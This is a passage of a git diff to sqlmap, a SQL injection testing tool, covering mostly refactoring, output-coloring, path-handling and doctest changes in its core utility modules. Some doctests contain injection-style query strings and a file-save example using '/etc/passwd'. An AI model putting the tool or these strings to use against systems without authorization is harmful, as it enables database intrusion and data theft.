expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) - if selectTopExpr or selectMinMaxExpr: + if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom: + lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2)) + elif selectTopExpr or selectMinMaxExpr: lengthExpr = lengthQuery % ("(%s)" % expression) elif select: lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) @@ -1115,12 +1219,15 @@ def runAsDBMSUser(self, query): def whereQuery(self, query): if conf.dumpWhere and query: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) - if match: - suffix = match.group(0) - prefix = query[:-len(suffix)] + if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: + prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - prefix, suffix = query, "" + match = re.search(r" (LIMIT|ORDER).+", query, re.I) + if match: + suffix = match.group(0) + prefix = query[:-len(suffix)] + else: + prefix, suffix = query, "" if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) @@ -1130,7 +1237,7 @@ def whereQuery(self, query): prefix += " WHERE %s" % conf.dumpWhere query = prefix - if suffix: + if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)): query += suffix return query diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 2b6c148c143..ffe754f3928 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,11 +10,11 @@ except: import pickle -import bz2 import itertools import os import sys import tempfile +import zlib from lib.core.compat import xrange from lib.core.enums import MKSTEMP_PREFIX @@ -24,17 +24,17 @@ DEFAULT_SIZE_OF = sys.getsizeof(object()) -def _size_of(object_): +def _size_of(instance): """ - Returns total size of a given object_ (in bytes) + Returns total size of a given instance / object (in bytes) """ - retval = sys.getsizeof(object_, DEFAULT_SIZE_OF) + retval = sys.getsizeof(instance, DEFAULT_SIZE_OF) - if isinstance(object_, dict): - retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items())) - elif hasattr(object_, "__iter__"): - retval += sum(_size_of(_) for _ in object_ if _ != object_) + if isinstance(instance, dict): + retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) + elif hasattr(instance, "__iter__"): + retval += sum(_size_of(_) for _ in instance if _ != instance) return retval @@ -54,8 +54,8 @@ class BigArray(list): >>> _ = BigArray(xrange(100000)) >>> _[20] = 0 - >>> _[100] - 100 + >>> _[99999] + 99999 """ def __init__(self, items=None): @@ -92,7 +92,7 @@ def pop(self): self.chunks.pop() try: with open(self.chunks[-1], "rb") as f: - self.chunks[-1] = pickle.loads(bz2.decompress(f.read())) + self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) except IOError as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex @@ -113,7 +113,7 @@ def _dump(self, chunk): self.filenames.add(filename) os.close(handle) with open(filename, "w+b") as f: - f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " @@ -131,7 +131,7 @@ def _checkcache(self, index): if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) + self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex diff --git a/lib/core/common.py b/lib/core/common.py index ae8d5dfcc4d..a62107f2546 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import collections import contextlib import copy +import distutils.version import functools import getpass import hashlib @@ -40,7 +41,6 @@ from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError -from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException @@ -59,6 +59,7 @@ from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.convert import stdoutEncode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -76,6 +77,7 @@ from lib.core.enums import CONTENT_STATUS from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD @@ -116,6 +118,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import DOLLAR_MARKER from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES @@ -139,6 +142,7 @@ from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import LOCALHOST +from lib.core.settings import MAX_INT from lib.core.settings import MIN_ENCODED_LEN_CHECK from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO from lib.core.settings import MIN_TIME_RESPONSES @@ -147,6 +151,7 @@ from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER from lib.core.settings import PARAMETER_SEMICOLON_MARKER +from lib.core.settings import PARAMETER_PERCENTAGE_MARKER from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER @@ -211,7 +216,7 @@ def write(self, fp): fp.write("[%s]\n" % _configparser.DEFAULTSECT) for (key, value) in self._defaults.items(): - fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) + fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING))) fp.write("\n") @@ -221,9 +226,9 @@ def write(self, fp): for (key, value) in self._sections[section].items(): if key != "__name__": if value is None: - fp.write("%s\n" % (key)) - else: - fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t'))) + fp.write("\t%s\n" % (key)) + elif not isListLike(value): + fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING))) fp.write("\n") @@ -557,6 +562,10 @@ def isDbms(dbms): singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) + @staticmethod + def isFork(fork): + return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork + @staticmethod def isDbmsWithin(aliases): return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases @@ -578,7 +587,15 @@ def isVersionWithin(versionList): @staticmethod def isVersionGreaterOrEqualThan(version): - return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version) + retVal = False + + if Backend.getVersion() is not None and version is not None: + try: + retVal = distutils.version.LooseVersion(Backend.getVersion()) >= distutils.version.LooseVersion(version) + except: + retVal = str(Backend.getVersion()) >= str(version) + + return retVal @staticmethod def isOs(os): @@ -623,7 +640,8 @@ def paramToDict(place, parameters=None): if parameter in (conf.base64Parameter or []): try: - oldValue = value + kb.base64Originals[parameter] = oldValue = value + value = urldecode(value, convall=True) value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) except: @@ -669,17 +687,21 @@ def walk(head, current=None): elif isinstance(current, dict): for key in current.keys(): value = current[key] - if isinstance(value, (list, tuple, set, dict)): - if value: - walk(head, value) - elif isinstance(value, (bool, int, float, six.string_types)): + if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []): original = current[key] if isinstance(value, bool): current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) + elif value is None: + current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER) + elif value == []: + current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)] else: current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters) current[key] = original + elif isinstance(value, (list, tuple, set, dict)): + if value: + walk(head, value) deserialized = json.loads(testableParameters[parameter]) walk(deserialized) @@ -929,20 +951,40 @@ def setColor(message, color=None, bold=False, level=None, istty=None): >>> setColor("Hello World", color="red", istty=True) '\\x1b[31mHello World\\x1b[0m' + >>> setColor("[INFO] Hello World", istty=True) + '[\\x1b[32mINFO\\x1b[0m] Hello World' + >>> setColor("[INFO] Hello [CRITICAL] World", istty=True) + '[INFO] Hello [CRITICAL] World' """ retVal = message - level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) - if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler - if bold or color: - retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) - elif level: - try: - level = getattr(logging, level, None) - except: - level = None - retVal = LOGGER_HANDLER.colorize(message, level) + if message: + if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler + if level is None: + levels = re.findall(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) + + if len(levels) == 1: + level = levels[0] + + if bold or color: + retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) + elif level: + try: + level = getattr(logging, level, None) + except: + level = None + retVal = LOGGER_HANDLER.colorize(message, level) + else: + match = re.search(r"\(([^)]*)\s*fork\)", message) + if match: + retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) + + if not any(_ in message for _ in ("Payload: ",)): + for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner) + retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey"))) + + message = message.strip() return retVal @@ -961,11 +1003,17 @@ def clearColors(message): return retVal -def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): +def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True): """ Writes text to the stdout (console) stream """ + if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"): + if re.search(r"\(\d+%\)", data): + data = "" + else: + data = "\n%s" % data.strip("\r") + if not kb.get("threadException"): if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): multiThreadMode = isMultiThreadMode() @@ -974,9 +1022,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= try: if conf.get("api"): - sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type) + sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType) else: - sys.stdout.write(stdoutEncode(setColor(data, bold=bold))) + sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data))) sys.stdout.flush() except IOError: @@ -1014,6 +1062,16 @@ def dataToDumpFile(dumpFile, data): raise def dataToOutFile(filename, data): + """ + Saves data to filename + + >>> pushValue(conf.get("filePath")) + >>> conf.filePath = tempfile.gettempdir() + >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*") + True + >>> conf.filePath = popValue() + """ + retVal = None if data: @@ -1080,7 +1138,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): logger.debug(debugMsg) if retVal is None: - if checkBatch and conf.get("batch") or conf.get("api"): + if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")): if isListLike(default): options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: @@ -1108,7 +1166,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): if not retVal: # Note: Python doesn't print newline on empty input dataToStdout("\n") retVal = retVal.strip() or default - retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal + retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal except: try: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 @@ -1191,9 +1249,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ if seed is not None: - _ = getCurrentThreadData().random - _.seed(seed) - choice = _.choice + _random = getCurrentThreadData().random + _random.seed(seed) + choice = _random.choice else: choice = random.choice @@ -1225,10 +1283,12 @@ def getHeader(headers, key): """ retVal = None - for _ in (headers or {}): - if _.upper() == key.upper(): - retVal = headers[_] + + for header in (headers or {}): + if header.upper() == key.upper(): + retVal = headers[header] break + return retVal def checkPipedInput(): @@ -1237,7 +1297,7 @@ def checkPipedInput(): # Reference: https://stackoverflow.com/a/33873570 """ - return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False + return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) def isZipFile(filename): """ @@ -1309,7 +1369,7 @@ def banner(): if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): result = BANNER - if not IS_TTY or "--disable-coloring" in sys.argv: + if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")): result = clearColors(result) elif IS_WIN: coloramainit() @@ -1327,9 +1387,9 @@ def parsePasswordHash(password): >>> kb.forcedDbms = popValue() """ - blank = " " * 8 + blank = ' ' * 8 - if isNoneValue(password) or password == " ": + if isNoneValue(password) or password == ' ': retVal = NULL else: retVal = password @@ -1377,7 +1437,6 @@ def setPaths(rootPath): paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") - paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs") paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell") @@ -1398,7 +1457,6 @@ def setPaths(rootPath): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") - paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") @@ -1411,6 +1469,7 @@ def setPaths(rootPath): checkFile(path) if IS_WIN: + # Reference: https://pureinfotech.com/list-environment-variables-windows-10/ if os.getenv("LOCALAPPDATA"): paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap") elif os.getenv("USERPROFILE"): @@ -1420,11 +1479,17 @@ def setPaths(rootPath): else: paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") + if not os.path.isdir(paths.SQLMAP_HOME_PATH): + if "XDG_DATA_HOME" in os.environ: + paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap") + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - # history files + # History files paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") @@ -1463,12 +1528,12 @@ def parseTargetDirect(): remote = False for dbms in SUPPORTED_DBMS: - details = re.search(r"^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I) + details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") - if details.group('credentials'): + if details.group("credentials"): conf.dbmsUser = details.group("user") conf.dbmsPass = details.group("pass") else: @@ -1580,8 +1645,8 @@ def parseTargetUrl(): originalUrl = conf.url - if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6: - errMsg = "IPv6 addressing is not supported " + if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6: + errMsg = "IPv6 communication is not supported " errMsg += "on this platform" raise SqlmapGenericException(errMsg) @@ -1638,7 +1703,7 @@ def parseTargetUrl(): conf.port = 80 if conf.port < 1 or conf.port > 65535: - errMsg = "invalid target URL's port (%d)" % conf.port + errMsg = "invalid target URL port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) @@ -1650,13 +1715,13 @@ def parseTargetUrl(): else: conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query - if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): + if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) - if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): + if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] @@ -1670,6 +1735,11 @@ def escapeJsonValue(value): Escapes JSON value (used in payloads) # Reference: https://stackoverflow.com/a/16652683 + + >>> "\\n" in escapeJsonValue("foo\\nbar") + False + >>> "\\\\t" in escapeJsonValue("foo\\tbar") + True """ retVal = "" @@ -1689,7 +1759,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -1844,6 +1914,12 @@ def getLocalIP(): def getRemoteIP(): """ Get remote/target IP address + + >>> pushValue(conf.hostname) + >>> conf.hostname = "localhost" + >>> getRemoteIP() == "127.0.0.1" + True + >>> conf.hostname = popValue() """ retVal = None @@ -1970,6 +2046,9 @@ def normalizePath(filepath): def safeFilepathEncode(filepath): """ Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading) + + >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH) + True """ retVal = filepath @@ -2002,6 +2081,8 @@ def safeStringFormat(format_, params): >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) 'SELECT foo FROM bar LIMIT 1' + >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1')) + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1" """ if format_.count(PAYLOAD_DELIMITER) == 2: @@ -2023,6 +2104,8 @@ def safeStringFormat(format_, params): if retVal.count("%s", start, end) == len(params): for param in params: index = retVal.find("%s", start) + if isinstance(param, six.string_types): + param = param.replace('%', PARAMETER_PERCENTAGE_MARKER) retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] else: if any('%s' in _ for _ in conf.parameters.values()): @@ -2043,12 +2126,15 @@ def safeStringFormat(format_, params): warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) raise SqlmapValueException(warnMsg) else: - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + try: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + except re.error: + retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1) count += 1 else: break - retVal = getText(retVal) + retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%') return retVal @@ -2174,6 +2260,15 @@ def isHexEncodedString(subject): def isMultiThreadMode(): """ Checks if running in multi-thread(ing) mode + + >>> isMultiThreadMode() + False + >>> _ = lambda: time.sleep(0.1) + >>> thread = threading.Thread(target=_) + >>> thread.daemon = True + >>> thread.start() + >>> isMultiThreadMode() + True """ return threading.activeCount() > 1 @@ -2182,6 +2277,9 @@ def isMultiThreadMode(): def getConsoleWidth(default=80): """ Returns console width + + >>> any((getConsoleWidth(), True)) + True """ width = None @@ -2320,16 +2418,6 @@ def readCachedFileContent(filename, mode="rb"): return kb.cache.content[filename] -def readXmlFile(xmlFile): - """ - Reads XML file content and returns its DOM representation - """ - - checkFile(xmlFile) - retVal = minidom.parse(xmlFile).documentElement - - return retVal - def average(values): """ Computes the arithmetic mean of a list of numbers. @@ -2398,6 +2486,9 @@ def initCommonOutputs(): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file + + >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) + True """ retVal = list() if not unique else OrderedDict() @@ -2504,8 +2595,8 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ - Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in 'txt/common-outputs.txt' + Goes through call stack and finds constructs matching + conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None @@ -2712,6 +2803,12 @@ def extractErrorMessage(page): retVal = candidate break + if not retVal and wasLastResponseDBMSError(): + match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) + + if match: + retVal = match.group(0) + return retVal def findLocalPort(ports): @@ -2812,6 +2909,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' + >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") + 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' """ if conf.get("direct"): @@ -2821,6 +2924,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): result = None if value is None else "" if value: + value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " @@ -2834,6 +2939,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: + value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: @@ -2854,6 +2960,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): if spaceplus: result = result.replace(_urllib.parse.quote(' '), '+') + result = result.replace(DOLLAR_MARKER, '$') + return result def runningAsAdmin(): @@ -3008,9 +3116,11 @@ def isNumPosStrValue(value): False >>> isNumPosStrValue('-2') False + >>> isNumPosStrValue('100000000000000000000') + False """ - return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) + return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT @cachedmethod def aliasToDbmsEnum(dbms): @@ -3228,7 +3338,7 @@ def parseSqliteTableSchema(value): Parses table column names and types from specified SQLite table schema >>> kb.data.cachedColumns = {} - >>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);") + >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True >>> repr(kb.data.cachedColumns).count(',') == 1 True @@ -3240,9 +3350,9 @@ def parseSqliteTableSchema(value): table = {} columns = {} - for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I): + for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): retVal = True - columns[match.group(1)] = match.group(2) + columns[match.group(1)] = match.group(2) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table @@ -3339,7 +3449,7 @@ def setOptimize(): # conf.predictOutput = True conf.keepAlive = True - conf.threads = 3 if conf.threads < 3 else conf.threads + conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: @@ -3516,7 +3626,7 @@ def isListLike(value): False """ - return isinstance(value, (list, tuple, set, BigArray)) + return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ @@ -3700,7 +3810,7 @@ def unhandledExceptionMessage(): errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % platform.platform() - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, 